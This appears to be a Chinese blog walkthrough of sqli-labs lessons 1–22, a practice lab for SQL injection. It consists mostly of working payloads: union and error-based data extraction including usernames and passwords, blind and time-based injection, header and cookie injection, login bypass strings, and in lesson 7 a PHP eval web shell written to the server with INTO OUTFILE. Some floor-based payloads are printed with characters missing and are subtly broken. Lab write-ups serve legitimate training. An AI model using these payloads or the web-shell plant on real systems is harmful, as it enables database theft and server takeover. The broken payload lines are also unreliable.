MYD网络安全实验室

sqli-labs(lesson1-lesson22)

2019-01-20  本文已影响33人  A_XiaoBiao

lesson1:

插入单引号报错



id被单引号包裹,确认字段数

?id=1' order by 3--+

字段为3,使用union select 1,2,3联合查询语句查看页面是否有显示位

?id=-1' union select 1,2,3--+


有两个显示位,接下来开始爆库名

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+


爆表

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+


爆列

select group_concat(column_name) from information_schema.columns where table_name='users'


爆值

union select 1,group_concat(username,0x3a,password),3 from users

lesson2:

插入单引号



由报错判断为数字型注入,注入方法同上,把单引号去掉就好


lesson:3

插入单引号报错,输入?id=1')--+发现可以正常显示,判定为字符型注入



注入方法同上,在单引号后面加个括号即可


lesson4:

插入单引号没反应,换用双引号后报错,注入方法同上


lesson:5


看到这个报错有可能是布尔型盲注,时间盲注,报错注入
注入

?id=1’ and sleep(5)--+发现有延迟


考虑使用报错注入

1. 通过floor报错

and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

2. 通过updatexml报错

and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

3. 通过ExtractValue报错

and extractvalue(1, payload)
输出字符有长度限制,最长32位。

使用floor报错语句注入

?id=1' and (select 1 from (select count(),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)2))x from information_schema.tables group by x)a) --+


输出信息超过一行,只能用limit 0,1一个个输出了

?id=1' and (select 1 from (select count(),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)2))x from information_schema.tables group by x)a) --+


库名出来了,接下来方法就和之前一样了

lesson6:

同样的原理,把?id=1'的单引号换成双引号就行

lesson7:

输入?id=1



输入?id=1 and 1=2回显正常,不是数值型注入
尝试加入单引号发现报错,换成双引号也是一样,加上)依然报错
输入id=5')) --+



暗示向服务器写文件?
因为我用的是phpstudy搭的环境,所以我直接用电脑上的目录

使用语句

union select 1,2,3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\wh1te.php"


写入成功
上传木马,使用cknife链接
?id=-1')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\muma.php" --+


lesson8:

输入?id=2' --+回显正常



字符型注入,方法同上

lesson9:

输入?id=1' and sleep(5) --+存在延迟,判断为延迟型注入


lesson10:

同上,单引号换双引号

lesson11:

登陆界面,使用万能密码

admin' or 1=1#


登陆成功,开爆
爆库:

admin' union select 1,group_concat(schema_name) from information_schema.schemata #

爆表:

admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

爆字段:

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

lesson12:

admin") or 1=1 #

之后方法同上

lesson13:

admin') or 1=1#

页面无返回信息,只能进行盲注
猜长度
admin') or length(database())>要猜的长度 and sleep(5)#
猜库名:
admin') or left(version(),1)>'要猜的库名' and sleep(5)#
猜表名:
admin') or ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>要猜的表名ASCII and sleep(5)#

lesson14:

admin“ or 1=1#

之后方法同上

lesson15:

admin' or 1=1#

之后方法同上

lesson16:

admin") or 1=1 #

和上面一样,无返回信息,但是可以使用延时注入判断注入点

admin") and sleep(5) #

其余同上

lesson17:

做到自闭,查看源码



加了用户名注入过滤,但是没有密码注入过滤,所以。。。你懂的

lesson18:

莫得用户名和密码注入了



查看源码

$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

存在利用构造User Agent进行注入的可能,上brupsuit抓包改User Agent

' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #

得到mysql版本



同理,可得表名等信息
表名

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) , 1, 1) #

lesson19:

Refer注入

' or (select 1 from (select count(),concat(database(), '~' , floor (rand()2))as a from information_schema.tables group by a) as b limit 0,1) , '1')#


其余方法同上

lesson20:

查看源码

$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

存在cookie注入

uname = ' union select 1 , 2 , database()#


其他同理

lesson21

和上题一样,属于cookie注入,先看源码



和上题基本一样,之不过给用户名(uname)进行了base64加密,对注入语句进行加密即可

注入语句:
admin1')and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
加密后payload:
YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=


报错注入

lesson22

与上题基本一样,'改成”即可

" union select 1,2,database()#
payload:IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

上一篇下一篇

猜你喜欢

热点阅读